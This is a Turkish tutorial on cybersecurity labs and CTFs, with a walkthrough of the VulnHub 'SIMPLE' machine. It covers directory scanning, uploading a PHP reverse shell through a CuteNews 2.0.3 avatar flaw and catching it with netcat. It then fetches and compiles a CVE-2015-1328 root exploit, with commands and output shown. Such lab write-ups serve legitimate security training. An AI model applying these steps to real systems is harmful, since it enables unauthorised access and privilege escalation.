LAB ve CTF Nedir?
LAB Nedir?
LAB, laboratuvar demek arkadaşlar bende konuyu yazmadan önce biraz şaşmıştım neyse konumuza geçelim biz. Ben bugün size birkaç laboratuvardan bahsedeceğim. Siber güvenlik laboratuvarları var, bunlar siber güvenlik alanında uzman kişiler yetiştirmek ve bu alanda karşılaşabilecek durumlar için simülasyonların olduğu alandır. Eğitim programının yanında ülkemize bu alanda güç, yurt dışına olan bağımlılığı azaltmak ve açık kaynak ekonomisini geliştirmek için yapılan bulut temelli bir sistem. Bu laboratuvarların özelliği yüksek bir işlemci gücüne sahip (I5-I7 İşlemci, 16-32GB RAM, 500GB-1TB Disk, 22 inç Monitörler) 50 tane bilgisayarda oluşmaktadırlar. Her bilgisayarda Windows ve Linux tabanlı sistemler kullanılır. Bir de bu laboratuvarlarda kullandıkları yazılımlar vardır [Cisco Packet Tracer, Gns3, Wireshark, Vmware, VirtualBox, Sql Server, Matlab, Netbeans, DevC++, Visual Studio, Kali Linux, DVWA (Damn Vulnerable Web Application), Adobe Serisi Uygulamalar (Photoshop vs.), Microsoft Ofis] bu yazılımları kıllanırlar.
Laboratuvar çeşitlerinden bir kaçını da sıralayalım;
- SQL Injection
- Cross-site Scripting
- Cross-site Request Forgery (CSRF)
- Clickjacking
- DOM-based Vulnerabilities
- Cross-origin Resource Sharing (CORS)
- XML External Entity (XXE) Injection
- Server-side Request Forgery (SSRF)
- HTTP Request Smuggling
- OS Command Injection
Bunlardan bir kaçı yani özetleyecek olursam siber güvenlik adına her şey.
CTF (Capture The Flag) Nedir?
Türkçesi, bayrağı yakala anlamına gelir. İlk kez DEFCON tarafından 1996 yılında oluşturulmuştur. CTF ortamları genellikle bir sanal makineye aktardığımız siber güvenlik laboratuvar ortamıdır. Bu sanal makineye girmeye ulaşmaya çalışırız ve genellikle belli yerlerde olan flag'leri yani metinleri bulmaya çalışırız ve bu flag'lere ulaşmak için adım adım sisteme sızmamız gerekir. Amacı siber güvenlik alanında öğrenilen bilgileri pratiğe dökerek kendilerini test etmelerini sağlamak. Katılan kişiler bilgisayar korsanlarından tut güvenlik uzmanlarına, bilgi güvenliği araştırma gruplarına, öğrencilere kadar çok geniş bir yelpazeye sahiptir. Materyal açısından büyük bir etkiye sahip olmasa da büyük bir takdir toplama ölçme sistemine sahiptir. Örnek flag'ler;
- 177b3cd8562289f37382721c28381f02
- d335e2d13f36558ba1e67969a1718af7
Bunlar bazen anlamsız bazen yaptığımız iş ile alakalı olabilir.
CTF Ortamlarının Hazırlanması
Çeşitli yerlerden hazırlayabiliriz. Örneğin; TryHackMe, Hackthebox ve Hacker101 gibi sitelerden VPN yardımı ile hazırlamış oldukları CTF ortamlarına katılarak kendinizi test edebilirsiniz. Şimdi ise bir sanal makine ile CTF kurmayı öğreteceğim. Hazır oluşturulmuş CTF ortamını çeşitli yerlerden bulabilirsiniz mesela Github, VulnHub gibi. Araştırdığım yerde VulnHub tercih edilmişti ve VulnHub çok geniş bir CTF kaynağına sahip günceldir. Biz burada "BNE0X03 - SIMPLE" isimli ortamı indirip çözümü anlatacağız. VulnHub'da aratıp indiriyoruz daha sonra da indirdiğimiz bu ortamı kullandığımız sanal makineye import etmemiz gerekiyor. Bundan sonra sanal makinemizin ayarlarını Bridged olarak seçmemiz gerekiyor. Bu sayede sanal makinemiz ile ana bilgisayarımız aynı ağda gözükecek ama eğer ana bilgisayarımız ile devam edeceksek direk çözüm bölümüne gidebiliriz sanal makine ile olacaksa bridged network'a bağlı olduğundan emin olmalıyız.
CTF Çözümleme
Öncelikle CTF ortamının ip adresini bulmakla başlayalım bunun için terminalimize "netdiscover" yarak netdiscover kullanıyoruz. Bu araç ağımıza bağlı olan bütün cihazların ip, mac, cihaz ismi gibi özelliklerini gösterir. İsterseniz VMware kullanabilirsiniz. Buradan ip adresini bulduktan sonra ilk web sitesinde olan klasörleri aratacağız ve bunun içinde "dirb" kullanacağız. Örnek; dirb https://ip-adresi
Dirb kısaca bir text belgesinde olabilecek web klasör uzantı isimlerini alır ve bu text değerlerini ip adresi ile birleştirerek birer istek gönderir. Eğer bu isteklerden yanıt gelirse bunu ekrana yazdırır. Bunun sayesinde girebileceğimiz klasörleri de öğrenmiş oluruz.
Şimdi ise biraz web sitesinden bilgi alma amaçlı web tarayıcısına ip adresini giriyorum. Burada gözüme çarpan ilk şey "CuteNews v.2.0.3" oldu ve internette biraz araştırma yapıyorum. "CuteNews v.2.0.3" bir açığı olduğunu öğreniyorum bu açık ise bir kullanıcı için profil resmi yüklerken php uzantılı dosya yükleyebildiğimiz hakkında. Dolayısıyla sisteme bir php-shell yükleyebiliriz. Bunu yapmanın iki farklı yöntemi var bir tanesi shell'i web url'sinden kullanmak, bir diğeri ise karşıya yükleyebildiğimiz php kodu ile bir bağlantı oluşturmak ve o bağlantı noktasına bağlanarak shell komutlarını kullanmaktır. Biz ikinci yöntemi gösterelim;
php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell
Github'dan bu php kodunu kullanıyorum ve 49-50 satırlardaki ip ve portları değiştiriyorum. Aslında bu portları değiştirmesekte olur çünkü 1234 portunun boş olduğunu nmap taraması yaparak görebiliriz. IP kısmına ise kendi makinemizin ip adresiniz yazıyoruz.
Artık sistem hakkında gerekli bilgilere sahibiz hangi araçları kullanacağımızı ve hangi açıklardan yararlanacağımızı biliyoruz. Şimdi tekrardan ip adresini tarayıcı üzerinden açıyoruz. Daha sonra bir kullanıcı profili oluşturuyoruz ve "Personal Options" kısmından profil ayarlarına giriyoruz. Profil resmi yükleme kısmına hazırlamış olduğumuz php kodunu buraya yükleyeceğiz. Yükleme işini yaptıktan sonra "nc" aracını kullanacağız.
<nc -lvp 1234 Karşı-Makinenin-IP-Adresi>
Kısaca burada
-l Listen mode (Dinleme Modu)
-v Verbose (Ayrıntılar için)
-p Port (php kodunda belirttiğimiz port)
Artık nc ile karşıdakinin bağlantısının aktif olup dinlemeye hazırız. Php Kodunu aktif etmek için ise dirb ile bulduğumuz
==> DIRECTORY: http://192.168.1.72/uploads/
Uzantısına gidiyoruz. Burada da yüklediğimiz php koduna tıklayıp bağlantıyı aktif ediyoruz.
Nc ile izlemeye hazırda bulundurduğumuz terminalimin çıktısı artık bu şekilde oluyor
┌──(root
└─# nc -lvp 1234 192.168.1.72
listening on [any] 1234 …
connect to [192.168.1.79] from 192.168.1.72 [192.168.1.72] 33461
Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
15:18:04 up 28 min, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$
Buraya kadar iyi ilerledik fakat terminale “whoami” komutunu girersek hala root yetkisine sahip olmadığımızı görebiliriz.
$ whoami
www-data
Root yetkisini almamız için biraz internette araştırma yapıyorum ve karşıma 2015-1328 numaralı exploit, exploit-db sitesinden karşıma çıkıyor. Kısaca bu exploit kodunu nc ile bağlandığımız sisteme yüklüyoruz daha sonra bu c ile yazılmış exploit’i aktif etmek için /tmp içine bu kodu indirip gcc ile compile edip çalıştırıyoruz.
$ cd /tmp
$ wget https://www.exploit-db.com/raw/37292
–2022-04-30 15:52:06– https://www.exploit-db.com/raw/37292
Resolving www.exploit-db.com (www.exploit-db.com)… 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443… connected.
HTTP request sent, awaiting response… 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: ‘37292’
0K …. 100% 290M=0s
2022-04-30 15:52:14 (290 MB/s) – ‘37292’ saved [5119/5119]
$ ls
37292
$ mv 37292 37292.c
$ ls
37292.c
$ gcc 37292.c -o exploit
$ ls
37292.c
exploit
$ chmod 777 exploit
$ ls
37292.c
exploit
$ ls -l
total 20
-rw-rw-rw- 1 www-data www-data 5119 Apr 30 15:52 37292.c
-rwxrwxrwx 1 www-data www-data 12189 Apr 30 15:53 exploit
$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can’t access tty; job control turned off
# whoami
root
#
Artık sistemde root yetkisine sahibiz. Şimdi sıra CTF’in asıl amacı olan bayrağı bulmakta. Sistem bizim root yetkisi olmadan çoğu işi yapamayacağımız şekilde tasarlandığından dolayı bayrağa bakacağımız ilk yer /root klasörü olacaktır.
# cd /root
# ls
flag.txt
Bayrağı bulduk. Şimdi ise içini okuyup görevi tamamlayabiliriz.
# cat flag.txt
U wyn teh Interwebs!!1eleven11!!1!
Hack the planet!
Evet artık başarıyla çözümledik.
Konumu okuduğunuz için teşekkürler bir sonraki konumda görüşmek üzere




